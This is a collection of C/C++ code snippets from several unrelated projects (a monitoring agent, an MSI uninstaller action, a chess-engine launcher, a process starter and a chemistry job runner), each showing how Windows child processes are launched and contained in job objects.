BOOL Go(const char *commandLine) { HANDLE stdInRead, stdInWrite; if (!CreatePipes(&stdInRead, &stdInWrite)) return FALSE; PROCESS_INFORMATION piProcInfo; STARTUPINFO siStartInfo; BOOL bSuccess = FALSE; ZeroMemory( &piProcInfo, sizeof(PROCESS_INFORMATION) ); ZeroMemory( &siStartInfo, sizeof(STARTUPINFO) ); siStartInfo.cb = sizeof(STARTUPINFO); siStartInfo.hStdError = GetStdHandle(STD_ERROR_HANDLE); siStartInfo.hStdOutput = GetStdHandle(STD_OUTPUT_HANDLE); siStartInfo.hStdInput = stdInRead; siStartInfo.dwFlags |= STARTF_USESTDHANDLES; siStartInfo.wShowWindow = SW_HIDE; siStartInfo.dwFlags |= STARTF_USESHOWWINDOW; // Create the child process. if (!CreateProcess(NULL, const_cast<char *>(commandLine), // command line NULL, // process security attributes NULL, // primary thread security attributes TRUE, // handles are inherited CREATE_BREAKAWAY_FROM_JOB, // creation flags NULL, // use parent's environment NULL, // use parent's current directory &siStartInfo, // STARTUPINFO pointer &piProcInfo)) // receives PROCESS_INFORMATION { return FALSE; } HANDLE ghJob = CreateJobObject( NULL, NULL); JOBOBJECT_EXTENDED_LIMIT_INFORMATION jeli = { 0 }; jeli.BasicLimitInformation.LimitFlags = JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE; if( ghJob == NULL || SetInformationJobObject( ghJob, JobObjectExtendedLimitInformation, &jeli, sizeof(jeli)) == FALSE) { std::cerr << "Error initializing close-process job"; return 1; } if (!AssignProcessToJobObject( ghJob, piProcInfo.hProcess)) { DWORD error = GetLastError(); std::cerr << "AssignProcessToJobObject failed: " << error << std::endl; return FALSE; } // Close handles to the child process and its primary thread. // Some applications might keep these handles to monitor the status // of the child process, for example. CloseHandle(piProcInfo.hThread); MonitorProcessClose(piProcInfo.hProcess); WriteToPipe(stdInWrite, piProcInfo.hProcess); CloseHandle(piProcInfo.hProcess); CloseHandle(stdInRead); CloseHandle(stdInWrite); return 0; }
/****************************************************************************** * * * Function: zbx_waitpid * * * * Purpose: this function waits for process to change state * * * * Parameters: pid - [IN] child process PID * * * * Return value: on success, PID is returned. On error, * * -1 is returned, and errno is set appropriately * * * * Author: Alexander Vladishev * * * ******************************************************************************/ static int zbx_waitpid(pid_t pid) { const char *__function_name = "zbx_waitpid"; int rc, status; zabbix_log(LOG_LEVEL_DEBUG, "In %s()", __function_name); do { #ifdef WCONTINUED static int wcontinued = WCONTINUED; retry: if (-1 == (rc = waitpid(pid, &status, WUNTRACED | wcontinued))) { if (EINVAL == errno && 0 != wcontinued) { wcontinued = 0; goto retry; } #else if (-1 == (rc = waitpid(pid, &status, WUNTRACED))) { #endif zabbix_log(LOG_LEVEL_DEBUG, "%s() waitpid failure: %s", __function_name, zbx_strerror(errno)); goto exit; } if (WIFEXITED(status)) zabbix_log(LOG_LEVEL_DEBUG, "%s() exited, status:%d", __function_name, WEXITSTATUS(status)); else if (WIFSIGNALED(status)) zabbix_log(LOG_LEVEL_DEBUG, "%s() killed by signal %d", __function_name, WTERMSIG(status)); else if (WIFSTOPPED(status)) zabbix_log(LOG_LEVEL_DEBUG, "%s() stopped by signal %d", __function_name, WSTOPSIG(status)); #ifdef WIFCONTINUED else if (WIFCONTINUED(status)) zabbix_log(LOG_LEVEL_DEBUG, "%s() continued", __function_name); #endif } while (!WIFEXITED(status) && !WIFSIGNALED(status)); exit: zabbix_log(LOG_LEVEL_DEBUG, "End of %s():%d", __function_name, rc); return rc; } #endif /* _WINDOWS */ /****************************************************************************** * * * Function: zbx_execute * * * * Purpose: this function executes a script and returns result from stdout * * * * Parameters: command - [IN] command for execution * * buffer - [OUT] buffer for output, if NULL - ignored * * error - [OUT] error string if function fails * * max_error_len - [IN] length of error buffer * * * * Return value: SUCCEED if processed successfully, TIMEOUT_ERROR if * * timeout occurred or FAIL otherwise * * * * Author: Alexander Vladishev * * * ******************************************************************************/ int zbx_execute(const char *command, char **buffer, char *error, size_t max_error_len, int timeout) { size_t buf_size = PIPE_BUFFER_SIZE, offset = 0; int ret = FAIL; #ifdef _WINDOWS STARTUPINFO si; PROCESS_INFORMATION pi; SECURITY_ATTRIBUTES sa; HANDLE job = NULL, hWrite = NULL, hRead = NULL; char *cmd = NULL; wchar_t *wcmd = NULL; struct _timeb start_time, current_time; #else pid_t pid; int fd; #endif *error = '\0'; if (NULL != buffer) { *buffer = zbx_realloc(*buffer, buf_size); **buffer = '\0'; } #ifdef _WINDOWS /* set the bInheritHandle flag so pipe handles are inherited */ sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.bInheritHandle = TRUE; sa.lpSecurityDescriptor = NULL; /* create a pipe for the child process's STDOUT */ if (0 == CreatePipe(&hRead, &hWrite, &sa, 0)) { zbx_snprintf(error, max_error_len, "unable to create a pipe: %s", strerror_from_system(GetLastError())); goto close; } /* create a new job where the script will be executed */ if (0 == (job = CreateJobObject(&sa, NULL))) { zbx_snprintf(error, max_error_len, "unable to create a job: %s", strerror_from_system(GetLastError())); goto close; } /* fill in process startup info structure */ memset(&si, 0, sizeof(STARTUPINFO)); si.cb = sizeof(STARTUPINFO); si.dwFlags = STARTF_USESTDHANDLES; si.hStdInput = GetStdHandle(STD_INPUT_HANDLE); si.hStdOutput = hWrite; si.hStdError = hWrite; /* use cmd command to support scripts */ cmd = zbx_dsprintf(cmd, "cmd /C \"%s\"", command); wcmd = zbx_utf8_to_unicode(cmd); /* create the new process */ if (0 == CreateProcess(NULL, wcmd, NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) { zbx_snprintf(error, max_error_len, "unable to create process [%s]: %s", cmd, strerror_from_system(GetLastError())); goto close; } CloseHandle(hWrite); hWrite = NULL; /* assign the new process to the created job */ if (0 == AssignProcessToJobObject(job, pi.hProcess)) { zbx_snprintf(error, max_error_len, "unable to assign process [%s] to a job: %s", cmd, strerror_from_system(GetLastError())); if (0 == TerminateProcess(pi.hProcess, 0)) { zabbix_log(LOG_LEVEL_ERR, "failed to terminate [%s]: %s", cmd, strerror_from_system(GetLastError())); } } else if (-1 == ResumeThread(pi.hThread)) { zbx_snprintf(error, max_error_len, "unable to assign process [%s] to a job: %s", cmd, strerror_from_system(GetLastError())); } else ret = SUCCEED; if (FAIL == ret) goto close; _ftime(&start_time); timeout *= 1000; ret = zbx_read_from_pipe(hRead, buffer, &buf_size, &offset, timeout); if (TIMEOUT_ERROR != ret) { _ftime(¤t_time); if (0 < (timeout -= zbx_get_timediff_ms(&start_time, ¤t_time)) && WAIT_TIMEOUT == WaitForSingleObject(pi.hProcess, timeout)) { ret = TIMEOUT_ERROR; } } CloseHandle(pi.hProcess); CloseHandle(pi.hThread); close: if (NULL != job) { /* terminate the child process and it's childs */ if (0 == TerminateJobObject(job, 0)) zabbix_log(LOG_LEVEL_ERR, "failed to terminate job [%s]: %s", cmd, strerror_from_system(GetLastError())); CloseHandle(job); } if (NULL != hWrite) CloseHandle(hWrite); if (NULL != hRead) CloseHandle(hRead); zbx_free(cmd); zbx_free(wcmd); #else /* not _WINDOWS */ alarm(timeout); if (-1 != (fd = zbx_popen(&pid, command))) { int rc; char tmp_buf[PIPE_BUFFER_SIZE]; while (0 < (rc = read(fd, tmp_buf, sizeof(tmp_buf) - 1)) && MAX_EXECUTE_OUTPUT_LEN > offset + rc) { if (NULL != buffer) { tmp_buf[rc] = '\0'; zbx_strcpy_alloc(buffer, &buf_size, &offset, tmp_buf); } } close(fd); if (-1 == rc || -1 == zbx_waitpid(pid)) { if (EINTR == errno) ret = TIMEOUT_ERROR; else zbx_snprintf(error, max_error_len, "zbx_waitpid() failed: %s", zbx_strerror(errno)); /* kill the whole process group, pid must be the leader */ if (-1 == kill(-pid, SIGTERM)) zabbix_log(LOG_LEVEL_ERR, "failed to kill [%s]: %s", command, zbx_strerror(errno)); zbx_waitpid(pid); } else if (MAX_EXECUTE_OUTPUT_LEN <= offset + rc) { zabbix_log(LOG_LEVEL_ERR, "command output exceeded limit of %d KB", MAX_EXECUTE_OUTPUT_LEN / ZBX_KIBIBYTE); } else ret = SUCCEED; } else zbx_strlcpy(error, zbx_strerror(errno), max_error_len); alarm(0); #endif /* _WINDOWS */ if (TIMEOUT_ERROR == ret) zbx_strlcpy(error, "Timeout while executing a shell script.", max_error_len); else if ('\0' != *error) zabbix_log(LOG_LEVEL_WARNING, "%s", error); if (SUCCEED != ret && NULL != buffer) zbx_free(*buffer); return ret; }
/* Uninstall NSIS */ MSIDLLEXPORT UninstallNsisInstallation( MSIHANDLE hInstall ) { DWORD rv = ERROR_SUCCESS; // lookup the NSISUNINSTALL property value LPTSTR cNsisUninstall = _T("NSISUNINSTALL"); HANDLE hIo = NULL; DWORD dwSize = 0; LPTSTR strPathUninst = NULL; HANDLE hJob = NULL; STARTUPINFO sInfo; PROCESS_INFORMATION pInfo; pInfo.hProcess = NULL; pInfo.hThread = NULL; rv = MsiGetProperty( hInstall, cNsisUninstall, _T(""), &dwSize ); if(rv != ERROR_MORE_DATA) goto _cleanup; strPathUninst = new TCHAR[ ++dwSize ]; rv = MsiGetProperty( hInstall, cNsisUninstall, strPathUninst, &dwSize ); if(rv != ERROR_SUCCESS) goto _cleanup; // Create a process for the uninstaller sInfo.cb = sizeof(sInfo); sInfo.lpReserved = NULL; sInfo.lpDesktop = _T(""); sInfo.lpTitle = _T("Foo"); sInfo.dwX = 0; sInfo.dwY = 0; sInfo.dwXSize = 0; sInfo.dwYSize = 0; sInfo.dwXCountChars = 0; sInfo.dwYCountChars = 0; sInfo.dwFillAttribute = 0; sInfo.dwFlags = 0; sInfo.wShowWindow = 0; sInfo.cbReserved2 = 0; sInfo.lpReserved2 = 0; sInfo.hStdInput = 0; sInfo.hStdOutput = 0; sInfo.hStdError = 0; if(!CreateProcess( strPathUninst, _T("Uninstall /S"), NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &sInfo, &pInfo)) { pInfo.hProcess = NULL; pInfo.hThread = NULL; rv = 40; goto _cleanup; }; // Create a job object to contain the NSIS uninstall process tree JOBOBJECT_ASSOCIATE_COMPLETION_PORT acp; acp.CompletionKey = 0; hJob = CreateJobObject(NULL, _T("NSISUninstallObject")); if(!hJob) { rv = 41; goto _cleanup; } hIo = CreateIoCompletionPort(INVALID_HANDLE_VALUE,0,0,0); if(!hIo) { rv = 42; goto _cleanup; } acp.CompletionPort = hIo; SetInformationJobObject( hJob, JobObjectAssociateCompletionPortInformation, &acp, sizeof(acp)); AssignProcessToJobObject( hJob, pInfo.hProcess ); ResumeThread( pInfo.hThread ); DWORD a,b,c; for(;;) { if(!GetQueuedCompletionStatus(hIo, &a, (PULONG_PTR) &b, (LPOVERLAPPED *) &c, INFINITE)) { Sleep(1000); continue; } if(a == JOB_OBJECT_MSG_ACTIVE_PROCESS_ZERO) { break; } } rv = ERROR_SUCCESS; _cleanup: if(hIo) CloseHandle(hIo); if(pInfo.hProcess) CloseHandle( pInfo.hProcess ); if(pInfo.hThread) CloseHandle( pInfo.hThread ); if(hJob) CloseHandle(hJob); if(strPathUninst) delete[] strPathUninst; if(rv != ERROR_SUCCESS) { ShowMsiError( hInstall, ERR_NSS_FAILED, rv ); } return rv; }
int main(){ DWORD exit_code, terminated; STARTUPINFO child_1_si; STARTUPINFO child_2_si; PROCESS_INFORMATION child_1_pi; PROCESS_INFORMATION child_2_pi; HANDLE job_handle = CreateJobObject(NULL, "job"); memset(&child_1_si, 0, sizeof(STARTUPINFO)); child_1_si.cb=sizeof(child_1_si); memset(&child_2_si, 0, sizeof(STARTUPINFO)); child_2_si.cb=sizeof(child_2_si); get_warning_alert("\nTrying to create the first child process..."); DWORD child_1_created = CreateProcess(NULL, "child.exe ChildOne GrandChildOne", NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &child_1_si, &child_1_pi); if(!child_1_created){ get_error_alert("\nError on creating process / code #%ld", GetLastError()); exit(1); } get_success_alert("\nProcess created!"); get_warning_alert("\nTrying to create the second child process..."); DWORD child_2_created = CreateProcess(NULL, "child.exe ChildTwo GrandChildTwo", NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &child_2_si, &child_2_pi); if(!child_2_created){ get_error_alert("\nError on creating process / code #%ld", GetLastError()); exit(1); } get_success_alert("\nProcess created!"); AssignProcessToJobObject(job_handle, child_2_pi.hProcess); for(int i = 0; i <= 20; i++){ get_error_alert("Parent: "); printf("on step %d\n", i); if(i == 7) { GetExitCodeProcess(child_1_pi.hProcess, &exit_code); terminated = TerminateProcess(child_1_pi.hProcess, (UINT) exit_code); if(!terminated) { get_error_alert("\nTerminating error %d\n", GetLastError()); } else { get_success_alert("\nThe first child process terminated\n"); } } if(i == 10) { GetExitCodeProcess(job_handle, &exit_code); terminated = TerminateJobObject(job_handle, (UINT) exit_code); if(!terminated) { get_error_alert("\nJob terminating error %d\n", GetLastError()); } else { get_success_alert("\nJob terminated\n"); } } Sleep(3000); } return 0; }
int main() { int argc; wchar_t ** argv = CommandLineToArgvW(GetCommandLine(), &argc); // Make sure that we've been passed the right number of arguments if (argc < 8) { _tprintf(_T("Usage: %s (four inheritable event handles) (CommandLineToSpawn)\n"), argv[0]); return(0); } // Construct the full command line int nCmdLineLength= MAX_CMD_LINE_LENGTH; wchar_t * szCmdLine= (wchar_t *)malloc(nCmdLineLength * sizeof(wchar_t)); szCmdLine[0]= 0; int nPos = 0; for(int i = 8; i < argc; ++i) { int nCpyLen; int len= wcslen(argv[i]); int requiredSize= nPos+len+2; if (requiredSize > 32*1024) { #ifdef DEBUG_MONITOR OutputDebugStringW(_T("Command line too long!\n")); #endif return 0; } ensureSize(&szCmdLine, &nCmdLineLength, requiredSize); if (NULL == szCmdLine) { #ifdef DEBUG_MONITOR OutputDebugStringW(_T("Not enough memory to build cmd line!\n")); #endif return 0; } if(0 > (nCpyLen = copyTo(szCmdLine + nPos, argv[i], len, nCmdLineLength - nPos))) { #ifdef DEBUG_MONITOR OutputDebugStringW(_T("Not enough space to build command line\n")); #endif return 0; } nPos += nCpyLen; szCmdLine[nPos] = _T(' '); ++nPos; } szCmdLine[nPos] = _T('\0'); STARTUPINFOW si = {sizeof(si)}; PROCESS_INFORMATION pi = {0}; DWORD dwExitCode = 0; #ifdef DEBUG_MONITOR int currentPID = GetCurrentProcessId(); wchar_t buffer[MAX_CMD_LINE_LENGTH]; #endif BOOL exitProc = FALSE; HANDLE waitEvent = OpenEventW(EVENT_ALL_ACCESS, TRUE, argv[4]); HANDLE h[5]; h[0] = OpenEventW(EVENT_ALL_ACCESS, TRUE, argv[3]); // simulated SIGINT (CTRL-C or Cygwin 'kill -SIGINT') // h[1] we reserve for the process handle h[2] = OpenEventW(EVENT_ALL_ACCESS, TRUE, argv[5]); // simulated SIGTERM h[3] = OpenEventW(EVENT_ALL_ACCESS, TRUE, argv[6]); // simulated SIGKILL h[4] = OpenEventW(EVENT_ALL_ACCESS, TRUE, argv[7]); // CTRL-C, in all cases SetConsoleCtrlHandler(HandlerRoutine, TRUE); int parentPid = wcstol(argv[1], NULL, 10); int nCounter = wcstol(argv[2], NULL, 10); wchar_t inPipeName[PIPE_NAME_LENGTH]; wchar_t outPipeName[PIPE_NAME_LENGTH]; wchar_t errPipeName[PIPE_NAME_LENGTH]; swprintf(inPipeName, L"\\\\.\\pipe\\stdin%08i%010i", parentPid, nCounter); swprintf(outPipeName, L"\\\\.\\pipe\\stdout%08i%010i", parentPid, nCounter); swprintf(errPipeName, L"\\\\.\\pipe\\stderr%08i%010i", parentPid, nCounter); #ifdef DEBUG_MONITOR swprintf(buffer, _T("Pipes: %s, %s, %s\n"), inPipeName, outPipeName, errPipeName); OutputDebugStringW(buffer); #endif HANDLE stdHandles[3]; SECURITY_ATTRIBUTES sa; sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.bInheritHandle = TRUE; sa.lpSecurityDescriptor = NULL; if((INVALID_HANDLE_VALUE == (stdHandles[0] = CreateFileW(inPipeName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, &sa))) || (INVALID_HANDLE_VALUE == (stdHandles[1] = CreateFileW(outPipeName, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, &sa))) || (INVALID_HANDLE_VALUE == (stdHandles[2] = CreateFileW(errPipeName, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, &sa)))) { #ifdef DEBUG_MONITOR swprintf(buffer, _T("Failed to open pipe %i, %i, %i: %i\n"), stdHandles[0], stdHandles[1], stdHandles[2], GetLastError()); OutputDebugStringW(buffer); #endif CloseHandle(stdHandles[0]); CloseHandle(stdHandles[1]); CloseHandle(stdHandles[2]); return -1;; } SetHandleInformation(stdHandles[0], HANDLE_FLAG_INHERIT, TRUE); SetHandleInformation(stdHandles[1], HANDLE_FLAG_INHERIT, TRUE); SetHandleInformation(stdHandles[2], HANDLE_FLAG_INHERIT, TRUE); if(!SetStdHandle(STD_INPUT_HANDLE, stdHandles[0]) || !SetStdHandle(STD_OUTPUT_HANDLE, stdHandles[1]) || !SetStdHandle(STD_ERROR_HANDLE, stdHandles[2])) { #ifdef DEBUG_MONITOR swprintf(buffer, _T("Failed to reassign standard streams: %i\n"), GetLastError()); OutputDebugStringW(buffer); #endif CloseHandle(stdHandles[0]); CloseHandle(stdHandles[1]); CloseHandle(stdHandles[2]); return -1;; } #ifdef DEBUG_MONITOR wchar_t * lpvEnv = GetEnvironmentStringsW(); // If the returned pointer is NULL, exit. if (lpvEnv == NULL) OutputDebugStringW(_T("Cannot Read Environment\n")); else { // Variable strings are separated by NULL byte, and the block is // terminated by a NULL byte. OutputDebugStringW(_T("Starter: Environment\n")); for (wchar_t * lpszVariable = (wchar_t *) lpvEnv; *lpszVariable; lpszVariable+=wcslen(lpszVariable) + 1) { swprintf(buffer, _T("%s\n"), lpszVariable); OutputDebugStringW(buffer); } FreeEnvironmentStringsW(lpvEnv); } #endif #ifdef DEBUG_MONITOR swprintf(buffer, _T("Starting: %s\n"), szCmdLine); OutputDebugStringW(buffer); #endif // Create job object HANDLE hJob = CreateJobObject(NULL, NULL); // Spawn the other processes as part of this Process Group BOOL f = CreateProcessW(NULL, szCmdLine, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi); // We don't need them any more CloseHandle(stdHandles[0]); CloseHandle(stdHandles[1]); CloseHandle(stdHandles[2]); if (f) { #ifdef DEBUG_MONITOR swprintf(buffer, _T("Process %i started\n"), pi.dwProcessId); OutputDebugStringW(buffer); #endif SetEvent(waitEvent); // Means thar process has been spawned CloseHandle(pi.hThread); h[1] = pi.hProcess; if(NULL != hJob) { if(!AssignProcessToJobObject(hJob, pi.hProcess)) { #ifdef DEBUG_MONITOR swprintf(buffer, _T("Cannot assign process %i to a job\n"), pi.dwProcessId); OutputDebugStringW(buffer); DisplayErrorMessage(); #endif } } while(!exitProc) { // Wait for the spawned-process to die or for the event // indicating that the processes should be forcibly killed. DWORD event = WaitForMultipleObjects(5, h, FALSE, INFINITE); switch (event) { case WAIT_OBJECT_0 + 0: // SIGINT case WAIT_OBJECT_0 + 4: // CTRL-C #ifdef DEBUG_MONITOR swprintf(buffer, _T("starter (PID %i) received CTRL-C event\n"), currentPID); OutputDebugStringW(buffer); #endif if ((event == (WAIT_OBJECT_0 + 0)) && isCygwin(h[1])) { // Need to issue a kill command wchar_t kill[1024]; swprintf(kill, L"kill -SIGINT %d", pi.dwProcessId); if (!runCygwinCommand(kill)) { // fall back to console event GenerateConsoleCtrlEvent(CTRL_C_EVENT, 0); } } else { GenerateConsoleCtrlEvent(CTRL_C_EVENT, 0); } SetEvent(waitEvent); break; case WAIT_OBJECT_0 + 1: // App terminated normally // Make it's exit code our exit code #ifdef DEBUG_MONITOR swprintf(buffer, _T("starter: launched process has been terminated(PID %i)\n"), pi.dwProcessId); OutputDebugStringW(buffer); #endif GetExitCodeProcess(pi.hProcess, &dwExitCode); exitProc = TRUE; break; // Terminate and Kill behavior differ only for cygwin processes, where // we use the cygwin 'kill' command. We send a SIGKILL in one case, // SIGTERM in the other. For non-cygwin processes, both requests // are treated exactly the same case WAIT_OBJECT_0 + 2: // TERM case WAIT_OBJECT_0 + 3: // KILL { const wchar_t* signal = (event == WAIT_OBJECT_0 + 2) ? L"TERM" : L"KILL"; #ifdef DEBUG_MONITOR swprintf(buffer, _T("starter received %s event (PID %i)\n"), signal, currentPID); OutputDebugStringW(buffer); #endif if (isCygwin(h[1])) { // Need to issue a kill command wchar_t kill[1024]; swprintf(kill, L"kill -%s %d", signal, pi.dwProcessId); if (!runCygwinCommand(kill)) { // fall back to console event GenerateConsoleCtrlEvent(CTRL_C_EVENT, 0); } } else { GenerateConsoleCtrlEvent(CTRL_C_EVENT, 0); } SetEvent(waitEvent); if(NULL != hJob) { if(!TerminateJobObject(hJob, (DWORD)-1)) { #ifdef DEBUG_MONITOR OutputDebugStringW(_T("Cannot terminate job\n")); DisplayErrorMessage(); #endif } } // Note that we keep trucking until the child process terminates (case WAIT_OBJECT_0 + 1) break; } default: // Unexpected code #ifdef DEBUG_MONITOR DisplayErrorMessage(); #endif exitProc = TRUE; break; } } } else { #ifdef DEBUG_MONITOR swprintf(buffer, _T("Cannot start: %s\n"), szCmdLine); OutputDebugStringW(buffer); DisplayErrorMessage(); #endif } if (NULL != szCmdLine) { free(szCmdLine); } CloseHandle(waitEvent); CloseHandle(h[0]); CloseHandle(h[1]); CloseHandle(h[2]); CloseHandle(h[3]); CloseHandle(h[4]); return(dwExitCode); }
bool AI::init(int engine) { bool engine_started = false; bool b64bit = isOS64Bit(); bool jobSuccess = false; m_engine = engine; memset(m_engine_path, 0, sizeof(m_engine_path)); // set up the security attributes m_sa.bInheritHandle = true; m_sa.lpSecurityDescriptor = NULL; m_sa.nLength = sizeof(SECURITY_ATTRIBUTES); // setup job to kill the child process when calling process terminates m_hJob = CreateJobObject(NULL, NULL); if(m_hJob != NULL){ m_jeli.BasicLimitInformation.LimitFlags = JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE; jobSuccess = SetInformationJobObject(m_hJob, JobObjectExtendedLimitInformation, &m_jeli, sizeof(m_jeli)); } // open a pipe to the AI engine if(!CreatePipe(&m_child_stdin, &m_hWrite, &m_sa, 0)){ throw std::runtime_error("CreatePipe - stdin"); return false; } if(!CreatePipe(&m_hRead, &m_child_stdout, &m_sa, 0)){ throw std::runtime_error("CreatePipe - stdout"); cleanup(); return false; } // prepare to launch the process GetStartupInfo(&m_si); m_si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; m_si.wShowWindow = SW_HIDE; m_si.hStdOutput = m_child_stdout; m_si.hStdError = m_child_stdout; m_si.hStdInput = m_child_stdin; for(;!engine_started;){ switch(m_engine){ case ENGINE_HOUDINI: if(b64bit){ strcpy(m_engine_path, "Data/Engines/Houdini_x64.exe"); checkProcess("Houdini_x64.exe"); } else{ strcpy(m_engine_path, "Data/Engines/Houdini_x86.exe"); checkProcess("Houdini_x86.exe"); } break; case ENGINE_STOCKFISH: if(b64bit){ strcpy(m_engine_path, "Data/Engines/Stockfish_x64.exe"); checkProcess("Stockfish_x64.exe"); } else{ strcpy(m_engine_path, "Data/Engines/Stockfish_x86.exe"); checkProcess("Stockfish_x86.exe"); } break; case ENGINE_CRITTER: if(b64bit){ strcpy(m_engine_path, "Data/Engines/Critter_x64.exe"); checkProcess("Critter_x64.exe"); } else{ strcpy(m_engine_path, "Data/Engines/Critter_x86.exe"); checkProcess("Critter_x86.exe"); } break; case ENGINE_CUSTOM: strcpy(m_engine_path, "Data/Engines/Custom.exe"); break; default: throw std::runtime_error("No valid engine found"); cleanup(); return false; } // attempt to launch the process engine_started = CreateProcess(m_engine_path, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &m_si, &m_pi); if(!engine_started){ if(engine > 0) engine = 0; else ++engine; continue; } break; } // assign the job to the process if(jobSuccess){ jobSuccess = AssignProcessToJobObject(m_hJob, m_pi.hProcess); } // change states //m_active = true; //m_thinking = true; // set process priority to below normal to prevent destruction of the CPU SetPriorityClass(m_pi.hProcess, BELOW_NORMAL_PRIORITY_CLASS); // set AI to active if(engine_started){ m_active = true; // start the state machine thread (void)CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&InitThread, this, 0, 0); } return true; }
/*! * * Starts the job running and sets the status code to STATUS_RUNNING. * * The windows implementation of this function opens a new process for * GAMESS and redirects stdout to a log file handle and redirects * stderr to NUL. The process is created in a suspended state, and the * added to a new windows job object before it is resumed. * * \par Notes of explanation concerning the implementation of Start: * In order to make cshell happy, you must provide it with valid standard * output and standard error handles. If either of the above is missing, cshell * will simply quit with an exit status of 1, and nothing will happen. Standard * output goes to the log file anyway, so that one is obvious. In order to * provide a valid standard error handle, I used the windows NUL file. * * \par * The process is created in a suspended state, added to the job object and * then resumed. The reason for this is because when you run a script with * cshell, the first thing it will do is fork and start running other processes * as described by the shell script. In order to make sure that all of its sub * processes are part of the job object, it must be added to the job object * before it has a chance to do anything. Since we have no guarantee as to when * the sub-process will start getting processor time, it is suspended until we * know it has been added to the job object. * * \sa WindowsJob::mProcessHandle * \sa WindowsJob::mJobHandle */ void WindowsJob::Start() { // set this here, so we don't accidentally start it twice mStatus = STATUS_RUNNING; // try to find gamess wxString gamessname; if (gamessDir.IsEmpty()) { wxPathList SystemPath; SystemPath.AddEnvList(wxT("PATH")); gamessname = SystemPath.FindAbsoluteValidPath(wxT("rungms.bat")); } else { wxFileName name(gamessDir, wxT("rungms.bat")); name.MakeAbsolute(); gamessname = name.GetFullPath(); if (! wxFileExists(gamessname)) { gamessname = wxT(""); } } #ifdef DEFAULT_GAMESS_PATH if (gamessname.IsEmpty()) { wxStandardPathsBase& gStdPaths = wxStandardPaths::Get(); gamessname = gStdPaths.GetResourcesDir() + wxT(DEFAULT_GAMESS_PATH) + wxT("/rungms.bat"); if (! wxFileExists(gamessname)) { gamessname = wxT(""); } } #endif if (gamessname.IsEmpty()) { wxLogError(wxT("Could not find GAMESS")); mStatus = STATUS_ERROR; return; } // clean up old temp stuff so ddikick doesn't fail CleanUpTempFiles(); wxFileName dest(GetSpoolFileName()); dest = wxFileName(gamessDir + wxT("\\scratch"), dest.GetName()); dest.SetExt(wxT("F05")); wxString debug = wxT("Copying file from ") + GetSpoolFileName(); debug << wxT(" to ") << dest.GetFullPath(); wxLogDebug(debug); wxCopyFile(GetSpoolFileName(), dest.GetFullPath(), true); // generate the command wxFileName name(gamessname); name.SetFullName(wxT("rungms.bat")); // name.SetFullName(wxT("csh.exe")); // name.MakeAbsolute(); wxString command = name.GetFullPath(); // name.SetFullName(wxT("runscript.csh")); // command << wxT(" -e -f ") << name.GetFullPath(); name = wxFileName(GetSpoolFileName()); command << wxT(" ") << name.GetName(); command << wxT(" 13-64.pgi.linux.blas "); command << mNumProcessors; // command << wxT(" ") << gamessDir; // command << wxT(" ") << wxGetHostName(); wxLogMessage(wxT("Exec: ") + command); // set up the security attributes for the input and output handles SECURITY_ATTRIBUTES sa; sa.nLength = sizeof(sa); sa.lpSecurityDescriptor = NULL; sa.bInheritHandle = true; // create a the log file and it's handle name.SetExt(wxT("log")); name.MakeAbsolute(); HANDLE logFileHandle = CreateFile(name.GetFullPath(), GENERIC_WRITE, FILE_SHARE_READ, &sa, CREATE_ALWAYS, 0, NULL); if (logFileHandle == INVALID_HANDLE_VALUE) { LOG_ERROR("CreateFile"); } // make a null handle for stderr HANDLE nullHandle = CreateFile(wxT("NUL"), GENERIC_WRITE, FILE_SHARE_READ, &sa, CREATE_ALWAYS, 0, NULL); if (nullHandle == INVALID_HANDLE_VALUE) { LOG_ERROR("CreateFile"); } // create a new STARTUPINFO object with the newly created handles STARTUPINFO si; ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); si.wShowWindow=SW_HIDE; // hide the window si.dwFlags=STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; si.hStdOutput = logFileHandle; si.hStdInput = NULL; si.hStdError = nullHandle; // create a new PROCESS_INFORMATION object PROCESS_INFORMATION pi; ZeroMemory(&pi, sizeof(pi)); // create a new job mJobHandle = CreateJobObject(NULL, NULL); if (! mJobHandle) { LOG_ERROR("CreateJobObject"); } // now we create the actual process, it needs to be created in a suspended // state so that we can assign it to the job object before it gets a chance // to spawn any more processes. if (CreateProcess(NULL, (wxChar *)command.wc_str(), NULL, NULL, true, CREATE_SUSPENDED, NULL, spoolDir, &si, &pi)) { if (! AssignProcessToJobObject(mJobHandle, pi.hProcess)) { LOG_ERROR("AssignProcessToJobObject"); } mProcessHandle = pi.hProcess; ResumeThread(pi.hThread); } else { mStatus = STATUS_ERROR; LOG_ERROR("CreateProcess"); mStatus = STATUS_ERROR; mProcessHandle = NULL; CloseHandle(pi.hProcess); } // close our side of the IO handles CloseHandle(logFileHandle); CloseHandle(nullHandle); // we don't need this one anymore CloseHandle(pi.hThread); }
